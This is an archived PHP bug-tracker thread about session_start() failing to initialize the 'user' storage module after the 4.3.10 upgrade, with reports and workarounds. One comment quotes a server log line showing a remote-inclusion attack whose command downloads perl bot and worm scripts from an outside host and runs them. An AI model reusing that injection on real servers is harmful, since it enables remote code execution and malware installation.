#25876 [Com]: session_start(): Failed to initialize storage module
From: mstuhu at web dot de Date: Mon, 27 Dec 2004 12:34:44 +0000 Subject: #25876 [Com]: session_start(): Failed to initialize storage module References: 1 Groups: php.bugs Request: Send a blank email to php-bugs+get-71110@lists.php.net to get a copy of this message
ID: 25876
Comment by: mstuhu at web dot de
Reported By: golden at riscom dot com
Status: Feedback
Bug Type: Session related
Operating System: freebsd 4.8
PHP Version: 4.3.3
New Comment:
Same here (PHP 4.3.10 as module on Apache 1.3.26, Redhat Linux) for
Squirrelmail:
Fatal error: session_start(): Failed to initialize storage module: user
(path: /tmp)
"session.save_handler" is "files" by default, however "Registered save
handlers" is "files user".
Previous Comments:
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[2004-12-27 12:34:15] mbi at euro-ip dot net
FreeBSD 4.10 and PHP 4.3.10
How to reproduce:
- Running a system with about 1000 virthosts, some of the users use PHP
scripts that configure own session handlers.
- Most of the users don't configure an alternate session handler and
start their session with a simple "session_start();" statement, but
some of them do, mostly by installing some kind of forum or weblog
tool.
Users that don't set an alternate session handler or set their session
handler to "files" via ini_set in every file they open regulary get
confronted with a PHP error like:
PHP Fatal error: session_start(): Failed to initialize storage module:
user (....)
Putting "ini_set ( "session.save_handler", "files" );" in every file
with a "session_start();" in it solved it for our own sites, but
doesn't go easy with all the other users affected.
For us, this started after upgrading from PHP 4.3.9 to 4.3.10. Putting
"php_value session.save_handler files"
in .htaccess files or Apache config files didn't help to fix the
problem.
Disabling all sites with "user" session handlers stopped the error from
occuring, but this is obviously not what we want.
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[2004-12-27 11:45:40] anilk510 at yahoo dot co dot in
What is the path to session.save_path ..please let me know
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[2004-12-27 11:41:02] phpbugs at expires-200501 dot dpits dot com
i found some interesting. here the php-errorlog:
[26-Dec-2004 15:37:40] PHP Warning: Unknown(): A session is active.
You cannot change the session module's ini settings at this time. in
Unknown on line 0
[26-Dec-2004 15:38:47] PHP Fatal error: session_start(): Failed to
initialize storage module: user (path: /tmp/php_sessions) in
/www/x/main.inc.php on line 20
and in the webserver-log i found this attack:
x.x.x.x - - [26/Dec/2004:15:37:40 +0100] "GET
/shop.php/cPath/2?osisSid=http://www.visualcoders.net/spy.gif?&cmd=cd%20/tmp;wget%20www.visualcoders.net/spybot.txt;wget%20www.visualcoders.net/worm1.txt;wget%20www.visualcoders.net/php.txt;wget%20www.visualcoders.net/ownz.txt;wget%20www.visualcoders.net/zone.txt;perl%20spybot.txt;perl%20worm1.txt;perl%20ownz.txt;perl%20php.txt
HTTP/1.0" 200 29102 "-" "LWP::Simple/5.53"
(it is OSCommerce-Shop)
Thankyou...
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[2004-12-27 10:34:09] tony2001@php.net
Not reproducible for me with Apache 1.3.29 & php4-CVS.
Please provide more info on how to reproduce it.
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[2004-12-27 10:17:10] admin at ehost dot pl
the same problem Apache 1.3.33 RedHat ES 3 and Redhat 9.0 from the
moment that we upgrade php to 4.3.10
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